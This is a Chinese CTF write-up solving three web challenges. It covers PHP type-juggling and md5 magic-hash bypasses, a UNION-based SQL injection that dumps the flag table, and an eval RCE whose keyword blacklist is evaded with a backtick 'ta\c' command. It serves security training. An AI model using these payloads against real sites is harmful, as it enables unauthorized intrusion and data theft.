NSSCTF
[NSSCTF 2022 Spring Recruit]babyphp
<?php highlight_file(__FILE__); include_once('flag.php'); //将flag.php这个文件在这段代码中插入一次 if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){ //检查是否POST方式传参a,不能是整数0-9,但是intval取的又是整数 if(isset($_POST['b1'])&&$_POST['b2']){ //检测是否通过POST方式传参b1和b2 if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){ //检查b1和b2是否不相等,md5加密后的b1和b2必须强相等 if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){ //检查c1和c2是不是字符串且不相等,md5加密后的相等 echo $flag; }else{ echo "yee"; } }else{ echo "nop"; } }else{ echo "go on"; } }else{ echo "let's get some php"; } ?> let's get some phpinclude_once('flag.php')会把flag.php的代码在当前作用域中执行一次。执行之后,文件里定义的变量、函数、类等,自然就在当前作用域里生效了。
总共就三个条件
1、检查是否POST方式传参a,不能是整数0-9,但是intval取的又是整数
2、检查b1和b2是否不相等,md5加密后的b1和b2必须强相等
3、检查c1和c2是不是字符串且不相等,md5加密后的相等
首先是第一层绕过:
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){payload为:a[]=1 isset()返回的是布尔值,检查是否传参!preg_match() //如果匹配到数字,则返回true preg_match 的第二个参数要求是字符串。我们通过a[]=1传进去的是数组,PHP 7 及以下会: 发出警告:preg_match() expects parameter 2 to be string, array given 返回 false(表示执行失败,不是“没匹配到”) !preg_match(...) → !false → trueintval 面对数组的规则: 输入 返回值 intval([])(空数组) 0 intval(['1'])(非空数组) 1 intval([1,2,3]) 1 任何非空数组,intval 都返回 1。所以: intval(['1']) → 1 → if 里为真第二层绕过
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){要求两者不相等,但是类型和值必须相等——在PHP7版本以下,通过数组绕过
原理为:
在PHP版本7以下,md5()在接收到数组之后不会进行比较,而是直接返回结果null,所以在比较的过程中,两者结果全是null,自然值和类型全部相等
payload为: b1[]=2&b2=12第三层
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){第三层要求上传的是字符串,且md5加密之后要求相等,因PHP规则,会将某些字符串加密后的MD5值当作数字0进行处理,后导致弱等于成立,例如:
QNKCDZO → 0e830400451993494058024219903391
240610708 → 0e462097431906509019562988736854
aabg7XSs → 0e087386482136013740957780965295
PHP 不是“看错了”或“误认”成科学计数法。==弱比较的规则是明确设计的:
两个字符串用==比较时,如果两边都符合数字格式,就把它们转成数字再比。
"0e830400..."确实符合 PHP 的数字字符串格式(科学计数法),所以 PHP 按规则把它转成数字0。这不是 bug,也不是识别错误,是弱比较的正常行为。
"123" → 数字 123 "1.5" → 数字 1.5 "1e3" → 数字 1000 "0e123" → 数字 0 ← 0 乘以 10 的 123 次方 "0e999999" → 数字 0最终paylod
a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO[LitCTF 2023]这是什么?SQL !注一下 !
<?php $sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))'; $result = $conn->query($sql);使用的是PHP中的拼接符号,闭合中并不存在引号的情况
给出了后端语句,知道了闭合方式为6个括号,查看元数据库
-1)))))) union select 1,schema_name from information_schema.schemata%23一个库一个库找之后发现是 ctftraining 库
查看flag表中的列名,发现有一个列名为flag
?id=-1)))))) union select 1,column_name from information_schema.columns where table_schema="ctftraining" and table_name="flag"%23拿到flag
?id=-1)))))) union select 1,flag from ctftraining.flag%23[UUCTF 2022 新生赛]ez_rce
居然都不输入参数,可恶!!!!!!!!! <?php ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢???????????? if(isset($_GET['code'])){ $code=$_GET['code']; if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){ echo '看看你输入的参数!!!不叫样子!!';echo '<br>'; eval($code); } else{ die("你想干什么?????????"); } } else{ echo "居然都不输入参数,可恶!!!!!!!!!"; show_source(__FILE__); }代码逻辑是通过get传参,如果没有正则匹配到这其中过滤的函数,则执行$code变量中传参的命令
print_r()将命令执行后的结果打印出来
?code=print_r(`ta\c /fffffffffflagafag`);